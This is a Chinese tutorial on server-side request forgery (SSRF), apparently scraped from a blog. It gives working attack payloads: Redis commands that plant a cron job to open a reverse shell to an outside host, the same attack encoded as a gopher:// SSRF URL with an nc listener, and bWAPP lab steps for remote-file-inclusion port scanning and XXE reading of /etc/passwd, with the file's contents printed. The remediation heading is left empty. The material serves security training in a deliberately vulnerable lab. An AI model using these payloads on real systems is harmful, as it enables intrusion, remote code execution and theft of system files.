自己眼中的SSRF 成因
服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等)
redis-cli -h $ flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.3/2333 0>&1\n\n"|redis-cli -h $ -x set
redis-cli -h $ config set dir /var/spool/cron/
redis-cli -h $ config set dbfilename root
redis-cli -h $ save
利用这个脚本攻击自身并抓包得到数据流:
改成适配于 Gopher 协议的 URL:
gopher://192.168.1.11:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
这时候在192.168.1.3这台服务器
nc -lvv
1redis要存在未授权访问 看看存不存在
支持dict协议 本地支持file协议
这是源代码 意思是把访问url的内容反映到网页上面
gopher协议
SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
任务1:使用远程文件包含进行端口扫描
**点击任务1中的Port scan可以获得一份端口扫描的攻击脚本:http://192.168.163.157/evil/ssrf-1.txt
接下来就是利用bWAPP中的远程文件包含漏洞,执行端口扫描的脚本。
在Choose your bug中选择Remote & Local File Inclusion (RFI/LFI)security level选择low,然后点击Hack。
观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
payload:?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST:ip=xxxx
**
http://192.168.1.11/bWAPP/rlfi.php
?language=http://192.168.1.11/evil/ssrf-1.txt
&action=go
ip=192.168.1.2
*任务2:使用XXE获取敏感文件中的内容
点击Access获取XXE的利用脚本:10.158.131.81/bWAPP_latest/evil/ssrf-2.txt
然后切换到XXE漏洞利用环境,点击Anybugs?
,抓包*
]>
使用file协议获取bWAPP本机的/etc/passwd的内容。
root❌::root:/root:/bin/bash
daemon❌::daemon:/usr/sbin:/bin/sh
bin❌::bin:/bin:/bin/sh
sys❌::sys:/dev:/bin/sh
sync❌::sync:/bin:/bin/sync
games❌::games:/usr/games:/bin/sh
man❌::man:/var/cache/man:/bin/sh
lp❌::lp:/var/spool/lpd:/bin/sh
mail❌::mail:/var/mail:/bin/sh
news❌::news:/var/spool/news:/bin/sh
uucp❌::uucp:/var/spool/uucp:/bin/sh
proxy❌::proxy:/bin:/bin/sh
www-data❌::www-data:/var/www:/bin/sh
backup❌::backup:/var/backups:/bin/sh
list❌::Mailing List Manager:/var/list:/bin/sh
irc❌::ircd:/var/run/ircd:/bin/sh
gnats❌::Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody❌::nobody:/nonexistent:/bin/sh
libuuid❌:::/var/lib/libuuid:/bin/sh
dhcp❌:::/nonexistent:/bin/false
syslog❌:::/home/syslog:/bin/false
klog❌:::/home/klog:/bin/false
hplip❌::HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd❌::Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm❌::Gnome Display Manager:/var/lib/gdm:/bin/false
pulse❌::PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus❌:::/var/run/dbus:/bin/false
avahi❌::Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser❌::PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon❌::Hardware abstraction layer,,,:/var/run/hald:/bin/false
bee❌::bee,,,:/home/bee:/bin/bash
mysql❌::MySQL Server,,,:/var/lib/mysql:/bin/false
sshd❌:::/var/run/sshd:/usr/sbin/nologin
dovecot❌::Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
smmta❌::Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp❌::Mail Submission Program,,,:/var/lib/sendmail:/bin/false
neo❌:::/home/neo:/bin/sh
alice❌:::/home/alice:/bin/sh
thor❌:::/home/thor:/bin/sh
wolverine❌:::/home/wolverine:/bin/sh
johnny❌:::/home/johnny:/bin/sh
selene❌:::/home/selene:/bin/sh
postfix❌:::/var/spool/postfix:/bin/false
proftpd❌:::/var/run/proftpd:/bin/false
ftp❌:::/home/ftp:/bin/false
snmp❌:::/var/lib/snmp:/bin/false
ntp❌:::/home/ntp:/bin/false
's secret has been reset!
修复建议
手机扫一扫
移动阅读更方便
你可能感兴趣的文章